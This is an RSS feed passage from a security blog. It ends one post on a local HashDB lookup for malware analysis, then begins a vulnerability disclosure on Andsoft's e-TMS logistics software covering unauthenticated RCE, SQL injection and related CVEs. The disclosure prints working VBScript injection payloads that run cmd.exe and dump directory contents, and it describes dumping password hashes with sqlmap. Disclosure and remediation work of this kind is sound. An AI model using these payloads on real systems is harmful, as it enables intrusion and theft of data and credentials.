&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &amp;lt;fancy_name&amp;gt;
python ./make_function_db.py &amp;lt;fancy_name&amp;gt; ./functions_with_forwards.sqlite3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After you have prepared these two files with all the information you want to be able to look up (or just leave the files as they are - this should be enough for most use cases), you are now ready to build the main lookup database.&lt;/p&gt;

&lt;h3 id=&quot;main-database-for-the-local-hashdb-lookup&quot;&gt;Main database for the local HashDB lookup&lt;/h3&gt;
&lt;p&gt;Both of the mentioned files (API database and strings file) are used in the process of database creation (i.e., running the &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/hashdb-local/blob/main/hashdb_builder/hashdb_builder.py&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hashdb_builder.py&lt;/code&gt; script&lt;/a&gt;) to populate the HashDB lookup database.
The script builds a database containing all given modules, APIs, strings, and permutations and calculates hashes for all combinations of APIs / strings and permutations.
This database will be the source for lookups done by the hook described below.&lt;/p&gt;

&lt;h2 id=&quot;hook&quot;&gt;Hook&lt;/h2&gt;
&lt;p&gt;The hook is used to connect the IDA plugin with our local HashDB database. As mentioned above, in order to keep the plugin mostly unchanged, we had to implement the needed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requests&lt;/code&gt; methods (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;post&lt;/code&gt;) to run queries on the local database.
The remote HashDB lookup service provides &lt;a href=&quot;https://hashdb.openanalysis.net/&quot;&gt;API functions&lt;/a&gt; to query their database for specific information.
We implemented some of the endpoints in the hook to query our local lookup database.&lt;/p&gt;

&lt;p&gt;We implemented four endpoints in the hooking logic to use the lookup database:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /hash&lt;/code&gt;: Used to list all available hash algorithms in the database&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /hash/&amp;lt;algorithm&amp;gt;/&amp;lt;hash&amp;gt;&lt;/code&gt;: Get the corresponding API string for the given algorithm + hash combination&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET /module/&amp;lt;module&amp;gt;/&amp;lt;permutation&amp;gt;&lt;/code&gt;: Get a list of API string hashes for a module and algorithm using a specific permutation&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST /hunt&lt;/code&gt;: Hunt for the right hash algorithm (i.e., search for the hash in the database and return the corresponding algorithm)&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;With the provided adaptation of the IDA plugin and the implementation of a local HashDB lookup using a custom database, you are able to leverage the full potential of HashDB without the cons of using a remote service provider.
Additionally you can add any hashed strings from your analysis to the lookup database so that you are able to adapt it to your needs in the most flexible way.&lt;/p&gt;

&lt;p&gt;Have fun :)&lt;/p&gt;
</description>
        <pubDate>Tue, 30 Sep 2025 08:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2025/09/30/on-premise-hashdb-lookup/</link>
        <guid isPermaLink="true">https://cyber.wtf/2025/09/30/on-premise-hashdb-lookup/</guid>
        
        <category>hashdb</category>
        
        <category>api-hashing</category>
        
        <category>malware</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>I Know What You Shipped Last Summer - RCE, SQLi and More in Logistics Software e-TMS</title>
        <description>&lt;p&gt;During an external penetration test for one of our clients we stumbled upon their &lt;a href=&quot;https://andsoft.com/en/solucio-1/menu-1/characteristics.html&quot;&gt;e-TMS&lt;/a&gt; instance. e-TMS is a transportation management software developed by Andsoft with a lot of features such as management of transport orders, transport organization, tracking, invoicing and many more. We found several critical vulnerabilities such as multiple remote code executions, sql injections (paired with md5 hashed passwords…), a file read and reflected cross-site scripting - all unauthenticated! In fact, we did not test the authenticated part of e-TMS.
According to &lt;a href=&quot;https://web.archive.org/web/20240910013411/https://andsoft.com/customers/projects&quot;&gt;Andsoft’s website&lt;/a&gt;, it is used by many large companies in the logistics sector, the largest of which has up to 41,000 employees and a revenue of 8.2 billion euros. During the penetration test, we identified 42 publicly exposed e-TMS instances, all susceptible to the discovered vulnerabilities.&lt;/p&gt;

&lt;h2 id=&quot;overview-of-the-cves&quot;&gt;Overview of the CVEs&lt;/h2&gt;
&lt;p&gt;While we requested only one CVE for each vulnerability type (=5 in total), the Spanish CNA INCIBE insisted on issuing one CVE for each occurrence of a vulnerability, resulting in a total of &lt;strong&gt;40 CVEs&lt;/strong&gt;.
The vulnerabilities were found in v15.12 of e-TMS, and the client confirmed that their other instance with v25.03 (the latest as of January 2025) was also vulnerable to them.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;CVE Number&lt;/th&gt;
      &lt;th&gt;Name&lt;/th&gt;
      &lt;th&gt;Severity&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59735&quot;&gt;CVE-2025-59735&lt;/a&gt; - &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59741&quot;&gt;CVE-2025-59741&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Unauthenticated Remote Code Execution&lt;/td&gt;
      &lt;td&gt;Critical&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59742&quot;&gt;CVE-2025-59742&lt;/a&gt; - &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59743&quot;&gt;CVE-2025-59743&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Unauthenticated SQL Injection&lt;/td&gt;
      &lt;td&gt;Critical&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59744&quot;&gt;CVE-2025-59744&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Unauthenticated File Read&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59746&quot;&gt;CVE-2025-59746&lt;/a&gt; - &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59746&quot;&gt;CVE-2025-59774&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Reflected Cross-Site Scripting&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-59745&quot;&gt;CVE-2025-59745&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Insecure Password Hashing (md5)&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The advisory of INCIBE can be seen &lt;a href=&quot;https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-andsofts-e-tms&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;remediation&quot;&gt;Remediation&lt;/h2&gt;

&lt;h3 id=&quot;update-240925&quot;&gt;UPDATE (24.09.25)&lt;/h3&gt;

&lt;p&gt;Andsoft reached out to us and provided the following information:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The patches &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VNL 25001&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VNL 25010&lt;/code&gt; were released in January 2025 and addressed some of the stated security vulnerabilities&lt;/li&gt;
  &lt;li&gt;As of e-TMS Version &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v25.04&lt;/code&gt; - released in April 2025, all stated security vulnerabilities have been fully resolved&lt;/li&gt;
  &lt;li&gt;Annual penetration tests are performed to ensure e-TMS’ security&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;initial&quot;&gt;Initial&lt;/h3&gt;

&lt;p&gt;The critical vulnerabilities have been fixed by Andsoft in our clients’ instances. However, we have no information whether Andsoft has fixed them in the other clients’ instances, nor if there is an official version in which they have been fixed.
In fact, the other vulnerabilities (&lt;a href=&quot;#unauthenticated-file-read&quot;&gt;Unauthenticated File Read&lt;/a&gt;, &lt;a href=&quot;#reflected-cross-site-scripting&quot;&gt;Reflected Cross-Site Scripting&lt;/a&gt;, &lt;a href=&quot;#insecure-password-hashing-md5&quot;&gt;Insecure Password Hashing&lt;/a&gt;) have still not been fixed in our clients’ instances as of 05.03.2025.
Andsoft has not responded to our emails or to the Spanish national CNA INCIBE.&lt;/p&gt;

&lt;p&gt;We have only examined the unauthenticated part of e-TMS. However, a quick look at the source code of the authenticated pages indicated that the situation there was even worse. It should therefore be carefully checked who has access to e-TMS and accounts that are no longer required should be removed. Furthermore, all users should be encouraged to set a strong and unique password so that attackers cannot gain access to the authenticated part via weak passwords.&lt;/p&gt;

&lt;p&gt;Ideally, e-TMS should not be publicly accessible on the internet in order to reduce the attack surface until the serious vulnerabilities in the authenticated and, above all, unauthenticated part of e-TMS have been eliminated.&lt;/p&gt;

&lt;figure id=&quot;tuhbattons&quot; class=&quot;figure-posts&quot; style=&quot;width: 35%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-tuhbattons.jpg&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-tuhbattons.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-tuhbattons.jpg&quot; alt=&quot;meme either to fix vulns or to not respond&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-tuhbattons.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-tuhbattons.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-tuhbattons.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 01: To fix and cooperate or not to fix and cooperate, that is the question&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h2 id=&quot;cves-in-detail&quot;&gt;CVEs in Detail&lt;/h2&gt;

&lt;h3 id=&quot;unauthenticated-remote-code-execution&quot;&gt;Unauthenticated Remote Code Execution&lt;/h3&gt;
&lt;p&gt;One of the scanners we used (&lt;a href=&quot;https://github.com/hahwul/dalfox&quot;&gt;Dalfox&lt;/a&gt;) reported an XSS vulnerability (see &lt;a href=&quot;#reflected-cross-site-scripting&quot;&gt;Reflected Cross-Site Scripting&lt;/a&gt;) in the login page &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/loginfrm.asp&lt;/code&gt;. While inspecting the vulnerable body parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M&lt;/code&gt;, we noticed an interesting error message if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M&lt;/code&gt; contained, for example, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;figure id=&quot;etms-rce1&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce1.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce1.png&quot; alt=&quot;vb script error message&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 02: VB Script error message.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Even without any knowledge of French, we could clearly see that it was a Microsoft Visual Basic script error message stating that a string was not closed properly. This was already a good indicator that we had an unauthenticated remote code execution. Exploiting it required a bit of tinkering, as we are not that familiar with classic ASP and VB Script, as both are legacy and long deprecated.&lt;/p&gt;

&lt;p&gt;Eventually, we came up with the payload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 &amp;amp; Execute(&quot;Set shell=CreateObject(&quot;&quot;WScript.Shell&quot;&quot;):Set exec=shell.Exec(&quot;&quot;cmd.exe /c whoami &amp;amp; cd &amp;amp; hostname&quot;&quot;):Response.Write(exec.StdOut.ReadAll)&quot;)&lt;/code&gt; which allowed us to execute arbitrary commands and write their output to the response.&lt;/p&gt;

&lt;figure id=&quot;etms-rce2&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce2.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce2.png&quot; alt=&quot;exploiting the rce&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 03: Exploiting the RCE.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Further, we have created payloads to&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;list all subdirectories in a directory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 &amp;amp; Execute(&quot;Sub ListSubfolders(folderPath):Set fso=CreateObject(&quot;&quot;Scripting.FileSystemObject&quot;&quot;):Set folder=fso.GetFolder(folderPath):For Each subFolder In folder.SubFolders:Response.Write(subFolder.Path &amp;amp; &quot;&quot;&amp;lt;br&amp;gt;&quot;&quot;):Response.Flush:Next:End Sub:ListSubfolders &quot;&quot;\\x.x.x.x\Inetpub\ANDSYS_WIN\&quot;&quot;&quot;)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;dump all files in a directory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1 &amp;amp; Execute(&quot;Set fso=CreateObject(&quot;&quot;Scripting.FileSystemObject&quot;&quot;):Set folder=fso.GetFolder(&quot;&quot;\\x.x.x.x\Inetpub\ANDSYS_WIN\clt\&quot;&quot;):For Each file In folder.Files: Set f=fso.OpenTextFile(file.Path,1):Response.Write(file.Name &amp;amp; &quot;&quot;&amp;lt;br&amp;gt;&quot;&quot; &amp;amp; f.ReadAll &amp;amp; &quot;&quot;&amp;lt;hr&amp;gt;&quot;&quot;):f.Close:Response.Flush:Next&quot;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;figure id=&quot;etms-rce3&quot; class=&quot;figure-posts&quot; style=&quot;width: 85%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce3.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce3.png&quot; alt=&quot;dumping source code&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 04: Dumping source code.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This allowed us to dump the source code directory by directory without having to deal with the client’s EDR.&lt;/p&gt;

&lt;p&gt;And, oh boy, was the source code a gold mine. Keep in mind that we were contracted for an external penetration test with a time constraint of ~1.5 hours per server. However, in order to dig for more gold, we decided to invest some of our slack time in exploring the source code, which resulted in the discovery of more critical vulnerabilities. We limited our scope to the unauthenticated portion of the web application, otherwise it would have been a bottomless pit.&lt;/p&gt;

&lt;p&gt;In fact, there was not only the login page &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/loginfrm.asp&lt;/code&gt; but a total of &lt;strong&gt;25&lt;/strong&gt;!&lt;/p&gt;

&lt;p&gt;And many of them were vulnerable to the same RCE. It appears that some clients received a personalized login page with a hardcoded image of the client’s logo. Other than that, the code was identical. For some reason, the personalized login forms were delivered to &lt;em&gt;all&lt;/em&gt; e-TMS clients.&lt;/p&gt;

&lt;figure id=&quot;oubrah&quot; class=&quot;figure-posts&quot; style=&quot;width: 40%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-oubrah.jpg&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-oubrah.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-oubrah.jpg&quot; alt=&quot;oprah meme Everyone gets a customized login page vulnerable to RCE&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-oubrah.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-oubrah.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-oubrah.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 05: &apos;Everyone&apos; gets a customized login page vulnerable to RCE.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;So let’s take a look at the vulnerable code in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/clt/loginfrm.asp&lt;/code&gt; to see how the RCE was made possible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; For legal reasons, we will not show any of the original source code. Therefore, we have mocked the vulnerable code using node.js. A positive side effect is that most of you are probably more familiar with JavaScript than VB Script anyway.&lt;/p&gt;

&lt;figure id=&quot;etms-rce4&quot; class=&quot;figure-posts&quot; style=&quot;width: 40%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce4.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce4.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce4.png&quot; alt=&quot;vulnerable code of loginfrm.asp&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce4.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce4.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce4.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 06: Vulnerable code of loginfrm.asp (mocked using node.js).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Well, that’s straightforward. It takes the value of the body parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M&lt;/code&gt; and calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt; on it. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval&lt;/code&gt; in VB Script behaves much like the eval in JavaScript: It takes a string and evaluates it as code…
After a lot of back and forth, with our client being the man in the middle during the communication with Andsoft, they finally fixed it by changing the line containing the eval to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strError = &quot;LOGIN ERROR&quot;&lt;/code&gt;. This will only return a generic error message - without using eval.&lt;/p&gt;

&lt;p&gt;While looking for the use of more evals in the unauthenticated parts of the web application, we stumbled upon &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/CLT/LOGINERRORFRM.ASP&lt;/code&gt;.&lt;/p&gt;

&lt;figure id=&quot;etms-rce5&quot; class=&quot;figure-posts&quot; style=&quot;width: 100%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce5.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce5.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce5.png&quot; alt=&quot;Vulnerable code of LOGINERRORFRM.ASP&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce5.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce5.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce5.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 07: Vulnerable code of LOGINERRORFRM.ASP (mocked using node.js).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Almost the same vulnerability with the only difference that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;M&lt;/code&gt; is a query parameter instead of a body parameter.&lt;/p&gt;

&lt;figure id=&quot;etms-rce6&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-rce6.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-rce6.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-rce6.png&quot; alt=&quot;Other page vulnerable to RCE&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-rce6.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-rce6.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-rce6.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 08: Other page vulnerable to RCE.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;unauthenticated-sql-injection&quot;&gt;Unauthenticated SQL Injection&lt;/h3&gt;
&lt;p&gt;Two SQL Injections have been found in the unauthenticated part of e-TMS.&lt;/p&gt;

&lt;p&gt;The first one affects the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/CLT/track_request.asp&lt;/code&gt; page.&lt;/p&gt;

&lt;figure id=&quot;etms-sqli1&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli1.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli1.png&quot; alt=&quot;Track request page&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 09: Track request page.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;While the default form presented is not vulnerable to SQLi, the form presented if the query parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forgot=1&lt;/code&gt; is set is vulnerable.&lt;/p&gt;

&lt;figure id=&quot;etms-sqli2&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli2.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli2.png&quot; alt=&quot;Vulnerable form&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 10: Vulnerable form.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This sends the following request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/inc/login/TRACK_REQUESTFRMSQL.ASP?FORGOT=1&lt;/code&gt;, which results in an SQL error message.&lt;/p&gt;

&lt;figure id=&quot;etms-sqli3&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli3.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli3.png&quot; alt=&quot;Request triggering sql error&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 11: Request triggering sql error.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This error-based SQLi could be easily exploited using sqlmap to dump, among other things, the hashed passwords of the users. This revealed that the passwords were only md5 hashed (see &lt;a href=&quot;#insecure-password-hashing-md5&quot;&gt;Insecure Password Hashing (md5)&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;But let’s have a look at the source code:&lt;/p&gt;

&lt;figure id=&quot;etms-sqli4&quot; class=&quot;figure-posts&quot; style=&quot;width: 60%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/09/etms-sqli4.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/09/etms-sqli4.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/09/etms-sqli4.png&quot; alt=&quot;Vulnerable code of TRACK_REQUESTFRMSQL.ASP&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/09/etms-sqli4.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/09/etms-sqli4.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/09/etms-sqli4.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 12: Vulnerable code of TRACK_REQUESTFRMSQL.ASP (mocked using node.js).&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The query parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FORGOT&lt;/code&gt; must have any value. This brings us to the part of the code where a SQL query is constructed. The body parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;USRMAIL&lt;/code&gt; is embedded directly into the SQL query without any validation or sanitization - leading to SQL injection.
Although the code contains a function to sanitize untrusted data for SQL queries, it is not used in many places, such as here.&lt;/p&gt;

&lt;p&gt;The second SQLi concerns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/inc/connect/CONNECTION.ASP&lt;/code&gt;.&lt;/p&gt;

&lt;figure id=&quot;etms-sqli5&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
